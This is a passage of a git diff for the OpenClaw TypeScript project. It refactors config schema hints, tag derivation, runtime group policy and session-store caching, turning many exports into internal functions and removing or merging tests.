redactSnapshotTestHints as mainSchemaHints } from "../../test/helpers/config/redact-snapshot-test-hints.js"; +import type { ConfigUiHints } from "../shared/config-ui-hints-types.js"; import { materializeRuntimeConfig } from "./materialize.js"; import { REDACTED_SENTINEL, redactConfigSnapshot } from "./redact-snapshot.js"; import { @@ -11,7 +12,7 @@ import { restoreRedactedValues, type TestSnapshot, } from "./redact-snapshot.test-helpers.js"; -import { buildConfigSchema, type ConfigUiHints } from "./schema.js"; +import { buildConfigSchema } from "./schema.js"; import type { ConfigFileSnapshot, OpenClawConfig } from "./types.openclaw.js"; function expectNestedPairValue( diff --git a/src/config/runtime-group-policy.test.ts b/src/config/runtime-group-policy.test.ts index 8eb1cd0d639a..355414595256 100644 --- a/src/config/runtime-group-policy.test.ts +++ b/src/config/runtime-group-policy.test.ts @@ -2,49 +2,13 @@ import { beforeEach, describe, expect, it } from "vitest"; import { GROUP_POLICY_BLOCKED_LABEL, - resetMissingProviderGroupPolicyFallbackWarningsForTesting, resolveAllowlistProviderRuntimeGroupPolicy, resolveDefaultGroupPolicy, resolveOpenProviderRuntimeGroupPolicy, - resolveRuntimeGroupPolicy, warnMissingProviderGroupPolicyFallbackOnce, } from "./runtime-group-policy.js"; -beforeEach(() => { - resetMissingProviderGroupPolicyFallbackWarningsForTesting(); -}); - -describe("resolveRuntimeGroupPolicy", () => { - it.each([ - { - title: "fails closed when provider config is missing and no defaults are set", - params: { providerConfigPresent: false }, - expectedPolicy: "allowlist", - expectedFallbackApplied: true, - }, - { - title: "keeps configured fallback when provider config is present", - params: { providerConfigPresent: true, configuredFallbackPolicy: "open" as const }, - expectedPolicy: "open", - expectedFallbackApplied: false, - }, - { - title: "ignores global defaults when provider config is missing", - params: { - providerConfigPresent: false, - defaultGroupPolicy: "disabled" as const, - configuredFallbackPolicy: "open" as const, - missingProviderFallbackPolicy: "allowlist" as const, - }, - expectedPolicy: "allowlist", - expectedFallbackApplied: true, - }, - ])("$title", ({ params, expectedPolicy, expectedFallbackApplied }) => { - const resolved = resolveRuntimeGroupPolicy(params); - expect(resolved.groupPolicy).toBe(expectedPolicy); - expect(resolved.providerMissingFallbackApplied).toBe(expectedFallbackApplied); - }); -}); +beforeEach(() => {}); describe("resolveOpenProviderRuntimeGroupPolicy", () => { it("uses open fallback when provider config exists", () => { diff --git a/src/config/runtime-group-policy.ts b/src/config/runtime-group-policy.ts index fd5ac235a27c..1f06d4d28978 100644 --- a/src/config/runtime-group-policy.ts +++ b/src/config/runtime-group-policy.ts @@ -19,9 +19,7 @@ type RuntimeGroupPolicyParams = { * Resolve the effective group policy for a channel/provider runtime. * Missing provider config can fail closed separately from configured providers. */ -export function resolveRuntimeGroupPolicy( - params: RuntimeGroupPolicyParams, -): RuntimeGroupPolicyResolution { +function resolveRuntimeGroupPolicy(params: RuntimeGroupPolicyParams): RuntimeGroupPolicyResolution { const configuredFallbackPolicy = params.configuredFallbackPolicy ?? "open"; const missingProviderFallbackPolicy = params.missingProviderFallbackPolicy ?? "allowlist"; const groupPolicy = params.providerConfigPresent @@ -119,10 +117,3 @@ export function warnMissingProviderGroupPolicyFallbackOnce(params: { ); return true; } - -/** - * Test helper. Keeps warning-cache state deterministic across test files. - */ -export function resetMissingProviderGroupPolicyFallbackWarningsForTesting(): void { - warnedMissingProviderGroupPolicy.clear(); -} diff --git a/src/config/schema-base.ts b/src/config/schema-base.ts index a1eef38cb7bc..f16ecf36f4e8 100644 --- a/src/config/schema-base.ts +++ b/src/config/schema-base.ts @@ -146,7 +146,7 @@ function applyNodeDocumentation( } } -export type BaseConfigSchemaResponse = { +type BaseConfigSchemaResponse = { schema: ConfigSchema; uiHints: ConfigUiHints; version: string; diff --git a/src/config/schema.help.quality.test.ts b/src/config/schema.help.quality.test.ts index 7ffa6f6d2ce2..36c64dd08e99 100644 --- a/src/config/schema.help.quality.test.ts +++ b/src/config/schema.help.quality.test.ts @@ -2,7 +2,7 @@ import { expectDefined } from "@openclaw/normalization-core"; import { describe, expect, it } from "vitest"; -import { MEDIA_AUDIO_FIELD_KEYS } from "./media-audio-field-metadata.js"; +import { MEDIA_AUDIO_FIELD_HELP } from "./media-audio-field-metadata.js"; import { FIELD_HELP } from "./schema.help.js"; import { FIELD_LABELS } from "./schema.labels.js"; @@ -516,7 +516,7 @@ const TOOLS_HOOKS_TARGET_KEYS = [ "tools.links.models", "tools.links.scope", "tools.links.timeoutSeconds", - ...MEDIA_AUDIO_FIELD_KEYS, + ...Object.keys(MEDIA_AUDIO_FIELD_HELP), "tools.media.concurrency", "tools.media.image.attachments", "tools.media.image.enabled", diff --git a/src/config/schema.hints.test.ts b/src/config/schema.hints.test.ts index 72843325266b..6b18ebbb22a7 100644 --- a/src/config/schema.hints.test.ts +++ b/src/config/schema.hints.test.ts @@ -3,9 +3,8 @@ import { isSensitiveUrlConfigPath } from "@openclaw/net-policy/redact-sensitive- import { describe, expect, it } from "vitest"; import { z } from "zod"; import { buildSecretInputSchema } from "../plugin-sdk/secret-input-schema.js"; -import { FIELD_HELP } from "./schema.help.js"; -import { testApi, isPluginOwnedChannelHintPath, isSensitiveConfigPath } from "./schema.hints.js"; -import { FIELD_LABELS } from "./schema.labels.js"; +import { buildBaseHints, testApi } from "./schema.hints.js"; +import { isSensitiveConfigPath } from "./sensitive-paths.js"; import { OpenClawSchema } from "./zod-schema.js"; import { sensitive } from "./zod-schema.sensitive.js"; @@ -23,7 +22,7 @@ const BUNDLED_CHANNEL_HINT_PREFIXES = [ describe("isSensitiveConfigPath", () => { it("matches whitelist suffixes case-insensitively", () => { - const whitelistedPaths = [ + for (const path of [ "maxTokens", "maxOutputTokens", "maxInputTokens", @@ -34,8 +33,7 @@ describe("isSensitiveConfigPath", () => { "tokenLimit", "tokenBudget", "channels.irc.nickserv.passwordFile", - ]; - for (const path of whitelistedPaths) { + ]) { expect(isSensitiveConfigPath(path)).toBe(false); expect(isSensitiveConfigPath(path.toUpperCase())).toBe(false); } @@ -46,25 +44,20 @@ describe("isSensitiveConfigPath", () => { expect(isSensitiveConfigPath("models.providers.openai.apiKey")).toBe(true); expect(isSensitiveConfigPath("channels.irc.nickserv.password")).toBe(true); expect(isSensitiveConfigPath("channels.feishu.encryptKey")).toBe(true); - expect(isSensitiveConfigPath("channels.feishu.accounts.default.encryptKey")).toBe(true); - expect(isSensitiveConfigPath("channels.nostr.privateKey")).toBe(true); - expect(isSensitiveConfigPath("channels.nostr.accounts.default.privateKey")).toBe(true); expect(isSensitiveConfigPath("models.providers.local.localService.env.HF_HOME")).toBe(true); expect(isSensitiveConfigPath("models.providers.local.localService.env.MAX_TOKENS")).toBe(true); }); }); describe("plugin-owned channel hint paths", () => { - it("keeps bundled channel help and labels out of core tables", () => { - for (const key of [...Object.keys(FIELD_HELP), ...Object.keys(FIELD_LABELS)]) { - if ( - !BUNDLED_CHANNEL_HINT_PREFIXES.some( + it("keeps bundled channel hints out of the core hint map", () => { + for (const key of Object.keys(buildBaseHints())) { + expect( + BUNDLED_CHANNEL_HINT_PREFIXES.some( (prefix) => key === prefix || key.startsWith(`${prefix}.`), - ) - ) { - continue; - } - expect(isPluginOwnedChannelHintPath(key), `core still owns ${key}`).toBe(false); + ), + `core still owns ${key}`, + ).toBe(false); } }); }); diff --git a/src/config/schema.hints.ts b/src/config/schema.hints.ts index 550d449ff454..63724c36e824 100644 --- a/src/config/schema.hints.ts +++ b/src/config/schema.hints.ts @@ -111,15 +111,13 @@ function isKernelOwnedChannelHintPath(path: string): boolean { } /** Return whether a channel hint path belongs to a plugin-owned channel namespace. */ -export function isPluginOwnedChannelHintPath(path: string): boolean { +function isPluginOwnedChannelHintPath(path: string): boolean { if (!path.startsWith(CHANNEL_NAMESPACE_PREFIX)) { return false; } return !isKernelOwnedChannelHintPath(path); } -export { isSensitiveConfigPath }; - /** Build core config UI hints while leaving plugin-owned channel hints to plugin schemas. */ export function buildBaseHints(): ConfigUiHints { const hints: ConfigUiHints = {}; @@ -330,4 +328,3 @@ export const testApi = { collectMatchingSchemaPaths, mapSensitivePaths, }; -export { testApi as __test__ }; diff --git a/src/config/schema.tags.ts b/src/config/schema.tags.ts index 67ddbb915331..f20c3dd65b50 100644 --- a/src/config/schema.tags.ts +++ b/src/config/schema.tags.ts @@ -3,7 +3,7 @@ import { normalizeLowercaseStringOrEmpty } from "@openclaw/normalization-core/st import type { ConfigUiHint, ConfigUiHints } from "../shared/config-ui-hints-types.js"; /** Stable config UI tag vocabulary used for filtering and grouping schema hints. */ -export const CONFIG_TAGS = [ +const CONFIG_TAGS = [ "security", "auth", "network", @@ -21,7 +21,7 @@ export const CONFIG_TAGS = [ "advanced", ] as const; -export type ConfigTag = (typeof CONFIG_TAGS)[number]; +type ConfigTag = (typeof CONFIG_TAGS)[number]; const TAG_PRIORITY: Record = { security: 0, @@ -162,7 +162,7 @@ function addTags(set: Set, tags: ReadonlyArray): void { } /** Derive known config UI tags from a schema path and optional hint metadata. */ -export function deriveTagsForPath(path: string, hint?: ConfigUiHint): ConfigTag[] { +function deriveTagsForPath(path: string, hint?: ConfigUiHint): ConfigTag[] { const lowerPath = normalizeLowercaseStringOrEmpty(path); const override = resolveOverride(path); if (override) { diff --git a/src/config/schema.test.ts b/src/config/schema.test.ts index 4ef415633857..b24ca213bf88 100644 --- a/src/config/schema.test.ts +++ b/src/config/schema.test.ts @@ -3,7 +3,7 @@ import { SENSITIVE_URL_HINT_TAG } from "@openclaw/net-policy/redact-sensitive-ur import { expectDefined } from "@openclaw/normalization-core"; import { beforeAll, describe, expect, it } from "vitest"; import { buildConfigSchema, lookupConfigSchema } from "./schema.js"; -import { applyDerivedTags, CONFIG_TAGS, deriveTagsForPath } from "./schema.tags.js"; +import { applyDerivedTags } from "./schema.tags.js"; import { ToolsSchema } from "./zod-schema.agent-runtime.js"; import { OpenClawSchema } from "./zod-schema.js"; import { @@ -574,23 +574,29 @@ describe("config schema", () => { expect(second).toBe(first); }); - it("derives security/auth tags for credential paths", () => { - const tags = deriveTagsForPath("gateway.auth.token"); - expect(tags).toContain("security"); - expect(tags).toContain("auth"); + it("derives tags for security, network, storage, tools, and performance paths", () => { + const tagged = applyDerivedTags({ + "gateway.auth.token": {}, + "proxy.tls.caFile": {}, + "tools.web.fetch.timeoutSeconds": {}, + }); + expect(tagged["gateway.auth.token"]?.tags).toEqual( + expect.arrayContaining(["security", "auth"]), + ); + expect(tagged["proxy.tls.caFile"]?.tags).toEqual( + expect.arrayContaining(["security", "network", "storage"]), + ); + expect(tagged["tools.web.fetch.timeoutSeconds"]?.tags).toEqual( + expect.arrayContaining(["tools", "performance"]), + ); }); - it("classifies managed proxy CA files as security-relevant config", () => { - const tags = deriveTagsForPath("proxy.tls.caFile"); - expect(tags).toContain("security"); - expect(tags).toContain("network"); - expect(tags).toContain("storage"); - }); - - it("derives tools/performance tags for web fetch timeout paths", () => { - const tags = deriveTagsForPath("tools.web.fetch.timeoutSeconds"); - expect(tags).toContain("tools"); - expect(tags).toContain("performance"); + it("covers core config paths with derived tags", () => { + for (const [key, hint] of Object.entries(baseSchema.uiHints)) { + if (key.includes(".")) { + expect(hint.tags?.length ?? 0, `expected tags for ${key}`).toBeGreaterThan(0); + } + } }); it("accepts web fetch readability and firecrawl config in the runtime zod schema", () => { @@ -1013,35 +1019,6 @@ describe("config schema", () => { } }); - it("keeps tags in the allowed taxonomy", () => { - const withTags = applyDerivedTags({ - "gateway.auth.token": {}, - "tools.web.fetch.timeoutSeconds": {}, - "channels.slack.accounts.*.token": {}, - }); - const allowed = new Set(CONFIG_TAGS); - for (const hint of Object.values(withTags)) { - for (const tag of hint.tags ?? []) { - expect(allowed.has(tag)).toBe(true); - } - } - }); - - it("covers core/built-in config paths with tags", () => { - const schema = baseSchema; - const allowed = new Set([...CONFIG_TAGS, SENSITIVE_URL_HINT_TAG]); - for (const [key, hint] of Object.entries(schema.uiHints)) { - if (!key.includes(".")) { - continue; - } - const tags = hint.tags ?? []; - expect(tags.length, `expected tags for ${key}`).toBeGreaterThan(0); - for (const tag of tags) { - expect(allowed.has(tag), `unexpected tag ${tag} on ${key}`).toBe(true); - } - } - }); - it("looks up a config schema path with immediate child summaries", () => { const lookup = lookupConfigSchema(baseSchema, "gateway.auth"); expect(lookup?.path).toBe("gateway.auth"); diff --git a/src/config/schema.ts b/src/config/schema.ts index 2cf0585ae30d..bc058c77f843 100644 --- a/src/config/schema.ts +++ b/src/config/schema.ts @@ -15,9 +15,7 @@ import { } from "./schema.shared.js"; import { applyDerivedTags } from "./schema.tags.js"; -export type { ConfigUiHint, ConfigUiHints } from "./schema.hints.js"; - -export type ConfigSchema = Record; +type ConfigSchema = Record; type JsonSchemaNode = Record; @@ -108,7 +106,7 @@ export type ConfigSchemaResponse = { generatedAt: string; }; -export type ConfigSchemaLookupChild = { +type ConfigSchemaLookupChild = { key: string; path: string; type?: string | string[]; @@ -119,17 +117,17 @@ export type ConfigSchemaLookupChild = { hintPath?: string; }; -export type ConfigSchemaReloadKind = "restart" | "hot" | "none"; +type ConfigSchemaReloadKind = "restart" | "hot" | "none"; -export type ConfigSchemaReloadMetadata = { +type ConfigSchemaReloadMetadata = { kind: ConfigSchemaReloadKind; }; -export type ConfigSchemaReloadMetadataResolver = ( +type ConfigSchemaReloadMetadataResolver = ( path: string, ) => ConfigSchemaReloadMetadata | null | undefined; -export type ConfigSchemaLookupResult = { +type ConfigSchemaLookupResult = { path: string; schema: JsonSchemaNode; reloadKind?: ConfigSchemaReloadKind; diff --git a/src/config/sessions.cache.test.ts b/src/config/sessions.cache.test.ts index 63f56a44a0e6..d58f2791062e 100644 --- a/src/config/sessions.cache.test.ts +++ b/src/config/sessions.cache.test.ts @@ -7,11 +7,7 @@ import * as jsonFiles from "../infra/json-files.js"; import { createCanonicalFixtureSkill } from "../skills/test-support/test-helpers.js"; import { createSuiteTempRootTracker } from "../test-helpers/temp-dir.js"; import { - getSerializedSessionStore, - getSerializedSessionStoreCacheStatsForTest, getSerializedSessionStorePromptRefs, - getSessionStoreSnapshotCacheStatsForTest, - getSessionStoreStringInternStatsForTest, readSessionStoreCache, setSerializedSessionStore, setSerializedSessionStorePromptRefs, @@ -20,14 +16,9 @@ import { import { clearSessionStoreCacheForTest, loadSessionStore, - readSessionEntries, - readSessionEntry, - readSessionStoreSnapshot, - readSessionUpdatedAt, saveSessionStore, updateSessionStore, updateSessionStoreEntry, - updateLastRoute, } from "./sessions/store.js"; import type { SessionEntry } from "./sessions/types.js"; import type { SessionSkillPromptRef } from "./sessions/types.js"; @@ -78,34 +69,6 @@ describe("Session Store Cache", () => { delete process.env.OPENCLAW_SESSION_SERIALIZED_CACHE_MAX_BYTES; }); - it("bounds the serialized session store cache by total bytes", () => { - process.env.OPENCLAW_SESSION_SERIALIZED_CACHE_MAX_BYTES = "64"; - clearSessionStoreCacheForTest(); - - setSerializedSessionStore("store:1", "a".repeat(40)); - setSerializedSessionStore("store:2", "b".repeat(40)); - - expect(getSerializedSessionStore("store:1")).toBeUndefined(); - expect(getSerializedSessionStore("store:2")).toBe("b".repeat(40)); - expect(getSerializedSessionStoreCacheStatsForTest().entries).toBe(1); - expect(getSerializedSessionStoreCacheStatsForTest().totalBytes).toBe(40); - }); - - it("bounds the serialized session store cache by path count", () => { - const maxEntries = getSerializedSessionStoreCacheStatsForTest().maxEntries; - - for (let index = 0; index < maxEntries + 2; index += 1) { - setSerializedSessionStore(`store:${index}`, `serialized:${index}`); - } - - expect(getSerializedSessionStore("store:0")).toBeUndefined(); - expect(getSerializedSessionStore("store:1")).toBeUndefined(); - expect(getSerializedSessionStore(`store:${maxEntries + 1}`)).toBe( - `serialized:${maxEntries + 1}`, - ); - expect(getSerializedSessionStoreCacheStatsForTest().entries).toBe(maxEntries); - }); - it("keeps serialized prompt refs on the serialized cache entry lifecycle", () => { const promptRef: SessionSkillPromptRef = { version: 1, @@ -461,270 +424,6 @@ describe("Session Store Cache", () => { stringifySpy.mockRestore(); }); - it("interns duplicate large skillsSnapshot prompts across cached loads", async () => { - const largePrompt = "skill prompt ".repeat(200); - const testStore = { - "session:1": createSessionEntry({ - skillsSnapshot: { - prompt: largePrompt, - skills: [{ name: "alpha" }], - }, - }), - "session:2": createSessionEntry({ - sessionId: "id-2", - displayName: "Test Session 2", - skillsSnapshot: { - prompt: largePrompt, - skills: [{ name: "beta" }], - }, - }), - }; - - await saveSessionStore(storePath, testStore); - clearSessionStoreCacheForTest(); - - const loaded1 = loadSessionStore(storePath); - const afterFirstLoad = getSessionStoreStringInternStatsForTest(); - expect(afterFirstLoad.poolSize).toBe(1); - expect(afterFirstLoad.stored).toBe(1); - expect(afterFirstLoad.reused).toBeGreaterThanOrEqual(1); - - for (const skill of expectDefined(loaded1["session:1"], "loaded session").skillsSnapshot - ?.skills ?? []) { - skill.name = "mutated"; - break; - } - - const loaded2 = loadSessionStore(storePath); - const afterSecondLoad = getSessionStoreStringInternStatsForTest(); - expect(afterSecondLoad.poolSize).toBe(1); - expect(afterSecondLoad.reused).toBeGreaterThanOrEqual(afterFirstLoad.reused + 2); - expect( - expectDefined(loaded2["session:1"], 'loaded2["session:1"] test invariant').skillsSnapshot - ?.skills?.[0]?.name, - ).toBe("alpha"); - }); - - it("does not intern short skillsSnapshot prompts", async () => { - const testStore = { - "session:1": createSessionEntry({ - skillsSnapshot: { - prompt: "short prompt", - skills: [{ name: "alpha" }], - }, - }), - "session:2": createSessionEntry({ - sessionId: "id-2", - displayName: "Test Session 2", - skillsSnapshot: { - prompt: "short prompt", - skills: [{ name: "beta" }], - }, - }), - }; - - await saveSessionStore(storePath, testStore); - clearSessionStoreCacheForTest(); - - loadSessionStore(storePath); - - const stats = getSessionStoreStringInternStatsForTest(); - expect(stats.poolSize).toBe(0); - expect(stats.skippedSmall).toBeGreaterThanOrEqual(2); - }); - - it("reads updatedAt from immutable session snapshots without cloning cached stores", async () => { - const updatedAt = Date.now(); - const testStore = createSingleSessionStore( - createSessionEntry({ - updatedAt, - }), - "agent:main:main", - ); - - await saveSessionStore(storePath, testStore); - clearSessionStoreCacheForTest(); - readSessionStoreSnapshot(storePath); - expect(readSessionEntry(storePath, "agent:main:main")?.updatedAt).toBe(updatedAt); - - const parseSpy = vi.spyOn(JSON, "parse"); - - expect(readSessionUpdatedAt({ storePath, sessionKey: "agent:main:main" })).toBe(updatedAt); - expect(parseSpy).not.toHaveBeenCalled(); - expect(getSessionStoreSnapshotCacheStatsForTest().entries).toBe(1); - - parseSpy.mockRestore(); - }); - - it("builds a snapshot from disk without reparsing the mutable clone", async () => { - const testStore = createSingleSessionStore( - createSessionEntry({ - skillsSnapshot: { - prompt: "snapshot skill prompt ".repeat(200), - skills: [{ name: "alpha" }], - }, - }), - ); - - await saveSessionStore(storePath, testStore); - clearSessionStoreCacheForTest(); - - const parseSpy = vi.spyOn(JSON, "parse"); - - const snapshot = readSessionStoreSnapshot(storePath); - - expect( - expectDefined(snapshot["session:1"], 'snapshot["session:1"] test invariant').sessionId, - ).toBe("id-1"); - expect(parseSpy).toHaveBeenCalledTimes(1); - - parseSpy.mockRestore(); - }); - - it("serves immutable session snapshots without cloning cache hits", async () => { - const testStore = createSingleSessionStore( - createSessionEntry({ - origin: { provider: "openai" }, - skillsSnapshot: { - prompt: "snapshot skill prompt ".repeat(200), - skills: [{ name: "alpha" }], - }, - }), - ); - - await saveSessionStore(storePath, testStore); - clearSessionStoreCacheForTest(); - - const snapshot1 = readSessionStoreSnapshot(storePath); - const snapshot2 = readSessionStoreSnapshot(storePath); - - expect(snapshot2).toBe(snapshot1); - expect(Object.isFrozen(snapshot1)).toBe(true); - expect(Object.isFrozen(snapshot1["session:1"])).toBe(true); - expect( - Object.isFrozen( - expectDefined(snapshot1["session:1"], 'snapshot1["session:1"] test invariant') - .skillsSnapshot?.skills, - ), - ).toBe(true); - expect(readSessionEntry(storePath, "session:1")?.sessionId).toBe("id-1"); - expect(readSessionEntries(storePath).map(([key]) => key)).toEqual(["session:1"]); - - expect(() => { - (snapshot1 as Record)["session:2"] = createSessionEntry({ - sessionId: "id-2", - }); - }).toThrow(TypeError); - - const mutable = loadSessionStore(storePath); - expectDefined(mutable["session:1"], 'mutable["session:1"] test invariant').origin = { - provider: "mutated", - }; - - expect( - expectDefined( - readSessionStoreSnapshot(storePath)["session:1"], - 'readSessionStoreSnapshot(storePath)["session:1"] test invariant', - ).origin?.provider, - ).toBe("openai"); - }); - - it("reads immutable single entries without populating whole-store snapshots", async () => { - await saveSessionStore(storePath, { - "session:1": createSessionEntry({ - sessionId: "id-1", - skillsSnapshot: { - prompt: "single entry prompt ".repeat(200), - skills: [{ name: "alpha" }], - }, - }), - "session:2": createSessionEntry({ sessionId: "id-2" }), - }); - clearSessionStoreCacheForTest(); - - const entry = readSessionEntry(storePath, "session:1"); - - expect(entry?.sessionId).toBe("id-1"); - expect(Object.isFrozen(entry)).toBe(true); - expect(Object.isFrozen(entry?.skillsSnapshot?.skills)).toBe(true); - expect(getSessionStoreSnapshotCacheStatsForTest().entries).toBe(0); - - const cached = loadSessionStore(storePath, { clone: false }); - expect(() => { - (entry as SessionEntry).displayName = "mutated returned entry"; - }).toThrow(TypeError); - expect( - expectDefined(cached["session:1"], 'cached["session:1"] test invariant').displayName, - ).toBe("Test Session 1"); - }); - - it("does not tag snapshots with stats from writes racing after a disk read", async () => { - await saveSessionStore( - storePath, - createSingleSessionStore(createSessionEntry({ displayName: "Before race" })), - ); - clearSessionStoreCacheForTest(); - - const afterRaceStore = createSingleSessionStore( - createSessionEntry({ displayName: "After cross-process race" }), - ); - const originalReadFileSync = fs.readFileSync.bind(fs); - let wroteAfterRead = false; - const readSpy = vi.spyOn(fs, "readFileSync").mockImplementation((file, ...args) => { - const result = originalReadFileSync( - file, - ...(args as [Parameters[1]]), - ); - if (file === storePath && !wroteAfterRead) { - wroteAfterRead = true; - fs.writeFileSync(storePath, JSON.stringify(afterRaceStore, null, 2)); - const bumped = new Date(Date.now() + 2_000); - fs.utimesSync(storePath, bumped, bumped); - } - return result; - }); - - const first = readSessionStoreSnapshot(storePath); - expect(expectDefined(first["session:1"], 'first["session:1"] test invariant').displayName).toBe( - "Before race", - ); - - readSpy.mockRestore(); - - const second = readSessionStoreSnapshot(storePath); - expect( - expectDefined(second["session:1"], 'second["session:1"] test invariant').displayName, - ).toBe("After cross-process race"); - }); - - it("publishes a new immutable snapshot after session store writes", async () => { - await saveSessionStore(storePath, createSingleSessionStore()); - - const before = readSessionStoreSnapshot(storePath); - - await updateSessionStore( - storePath, - (store) => { - store["session:1"] = { - ...expectDefined(store["session:1"], "stored session entry"), - displayName: "Updated Session", - updatedAt: Date.now() + 1, - }; - }, - { skipMaintenance: true }, - ); - - const after = readSessionStoreSnapshot(storePath); - - expect(after).not.toBe(before); - expect( - expectDefined(before["session:1"], 'before["session:1"] test invariant').displayName, - ).toBe("Test Session 1"); - expect(expectDefined(after["session:1"], 'after["session:1"] test invariant').displayName).toBe( - "Updated Session", - ); - }); - it("keeps whole-store update results detached from the mutable cache by default", async () => { await saveSessionStore(storePath, createSingleSessionStore()); @@ -821,30 +520,28 @@ describe("Session Store Cache", () => { ).toBe("Entry writer owned by default"); }); - it("publishes route updates without cloning the whole object cache", async () => { + it("detaches caller-owned patch objects before publishing writer-owned caches", async () => { await saveSessionStore(storePath, { "session:1": createSessionEntry({ sessionId: "id-1" }), "session:2": createSessionEntry({ sessionId: "id-2" }), }); const before = loadSessionStore(storePath, { clone: false }); const untouched = before["session:2"]; + const deliveryContext = { channel: "telegram", to: "chat-1" }; - const persisted = await updateLastRoute({ + await updateSessionStoreEntry({ storePath, sessionKey: "session:1", - channel: "telegram", - to: "chat-1", + update: async () => ({ deliveryContext }), }); + deliveryContext.to = "mutated-after-persist"; const cached = loadSessionStore(storePath, { clone: false }); expect(cached["session:2"]).toBe(untouched); - expect(cached["session:1"]).not.toBe(persisted); - persisted!.lastTo = "mutated-return"; - expect(expectDefined(cached["session:1"], 'cached["session:1"] test invariant').lastTo).toBe( - "chat-1", - ); + expect( + expectDefined(cached["session:1"], 'cached["session:1"] test invariant').deliveryContext?.to, + ).toBe("chat-1"); }); - it("falls back to full projection when untouched entries need prompt blob repair", async () => { const prompt = "skill prompt ".repeat(80); await saveSessionStore(storePath, { @@ -944,40 +641,6 @@ describe("Session Store Cache", () => { expect(after).toBe(before); }); - it("builds immutable session snapshots lazily after writes", async () => { - await saveSessionStore(storePath, createSingleSessionStore()); - - expect(getSessionStoreSnapshotCacheStatsForTest().entries).toBe(0); - - const first = readSessionStoreSnapshot(storePath); - const statsAfterRead = getSessionStoreSnapshotCacheStatsForTest(); - const second = readSessionStoreSnapshot(storePath); - - expect(first).toBe(second); - expect(Object.isFrozen(first)).toBe(true); - expect(statsAfterRead.entries).toBe(1); - - await updateSessionStore( - storePath, - (store) => { - store["session:1"] = { - ...expectDefined(store["session:1"], "stored session entry"), - displayName: "Updated lazily", - updatedAt: Date.now() + 1, - }; - }, - { skipMaintenance: true }, - ); - - expect(getSessionStoreSnapshotCacheStatsForTest().entries).toBe(0); - expect( - expectDefined( - readSessionStoreSnapshot(storePath)["session:1"], - 'readSessionStoreSnapshot(storePath)["session:1"] test invariant', - ).displayName, - ).toBe("Updated lazily"); - }); - it("should refresh cache when store file changes on disk", async () => { const testStore = createSingleSessionStore(); diff --git a/src/config/sessions.test.ts b/src/config/sessions.test.ts index 9b6230cdec62..c61f52925b76 100644 --- a/src/config/sessions.test.ts +++ b/src/config/sessions.test.ts @@ -10,17 +10,13 @@ import { buildGroupDisplayName, deriveSessionKey, loadSessionStore, - patchSessionEntry, - recordSessionMetaFromInbound, resolveSessionFilePath, resolveSessionFilePathOptions, resolveSessionKey, resolveSessionTranscriptPath, resolveSessionTranscriptsDir, - updateLastRoute, updateSessionStore, updateSessionStoreEntry, - upsertSessionEntry, } from "./sessions.js"; describe("sessions", () => { @@ -64,14 +60,6 @@ describe("sessions", () => { ); } - function buildMainSessionEntry(overrides: Record = {}) { - return { - sessionId: "sess-1", - updatedAt: 123, - ...overrides, - }; - } - async function createAgentSessionsLayout(label: string): Promise<{ stateDir: string; mainStorePath: string; @@ -230,288 +218,6 @@ describe("sessions", () => { }); } - it("updateLastRoute persists channel and target", async () => { - const mainSessionKey = "agent:main:main"; - const { storePath } = await createSessionStoreFixture({ - prefix: "updateLastRoute", - entries: { - [mainSessionKey]: buildMainSessionEntry({ - systemSent: true, - thinkingLevel: "low", - responseUsage: "on", - queueDebounceMs: 1234, - reasoningLevel: "on", - elevatedLevel: "on", - authProfileOverride: "auth-1", - compactionCount: 2, - }), - }, - }); - - await updateLastRoute({ - storePath, - sessionKey: mainSessionKey, - deliveryContext: { - channel: "telegram", - to: " 12345 ", - }, - }); - - const store = loadSessionStore(storePath); - expect(store[mainSessionKey]?.sessionId).toBe("sess-1"); - // updateLastRoute must preserve existing updatedAt (activity timestamp) - expect(store[mainSessionKey]?.updatedAt).toBe(123); - expect(store[mainSessionKey]?.lastChannel).toBe("telegram"); - expect(store[mainSessionKey]?.lastTo).toBe("12345"); - expect(store[mainSessionKey]?.deliveryContext).toEqual({ - channel: "telegram", - to: "12345", - }); - expect(store[mainSessionKey]?.responseUsage).toBe("on"); - expect(store[mainSessionKey]?.queueDebounceMs).toBe(1234); - expect(store[mainSessionKey]?.reasoningLevel).toBe("on"); - expect(store[mainSessionKey]?.elevatedLevel).toBe("on"); - expect(store[mainSessionKey]?.authProfileOverride).toBe("auth-1"); - expect(store[mainSessionKey]?.compactionCount).toBe(2); - }); - - it("updateLastRoute prefers explicit deliveryContext", async () => { - const mainSessionKey = "agent:main:main"; - const { storePath } = await createSessionStoreFixture({ - prefix: "updateLastRoute", - entries: {}, - }); - - await updateLastRoute({ - storePath, - sessionKey: mainSessionKey, - channel: "demo-chat", - to: "111", - accountId: "legacy", - deliveryContext: { - channel: "telegram", - to: "222", - accountId: "primary", - }, - }); - - const store = loadSessionStore(storePath); - expect(store[mainSessionKey]?.lastChannel).toBe("telegram"); - expect(store[mainSessionKey]?.lastTo).toBe("222"); - expect(store[mainSessionKey]?.lastAccountId).toBe("primary"); - expect(store[mainSessionKey]?.deliveryContext).toEqual({ - channel: "telegram", - to: "222", - accountId: "primary", - }); - }); - - it("updateLastRoute clears threadId when explicit route omits threadId", async () => { - const mainSessionKey = "agent:main:main"; - const { storePath } = await createSessionStoreFixture({ - prefix: "updateLastRoute", - entries: { - [mainSessionKey]: buildMainSessionEntry({ - deliveryContext: { - channel: "telegram", - to: "222", - threadId: "42", - }, - lastChannel: "telegram", - lastTo: "222", - lastThreadId: "42", - }), - }, - }); - - await updateLastRoute({ - storePath, - sessionKey: mainSessionKey, - deliveryContext: { - channel: "telegram", - to: "222", - }, - }); - - const store = loadSessionStore(storePath); - expect(store[mainSessionKey]?.deliveryContext).toEqual({ - channel: "telegram", - to: "222", - }); - expect(store[mainSessionKey]?.lastThreadId).toBeUndefined(); - }); - - it("updateLastRoute records origin + group metadata when ctx is provided", async () => { - const sessionKey = "agent:main:demo-chat:group:room-123"; - const { storePath } = await createSessionStoreFixture({ - prefix: "updateLastRoute", - entries: {}, - }); - - await updateLastRoute({ - storePath, - sessionKey, - deliveryContext: { - channel: "demo-chat", - to: "room-123", - }, - ctx: { - Provider: "demo-chat", - ChatType: "group", - GroupSubject: "Family", - From: "room-123", - }, - }); - - const store = loadSessionStore(storePath); - expect(store[sessionKey]?.subject).toBe("Family"); - expect(store[sessionKey]?.channel).toBe("demo-chat"); - expect(store[sessionKey]?.groupId).toBe("room-123"); - expect(store[sessionKey]?.origin?.label).toBe("Family"); - expect(store[sessionKey]?.origin?.provider).toBe("demo-chat"); - expect(store[sessionKey]?.origin?.chatType).toBe("group"); 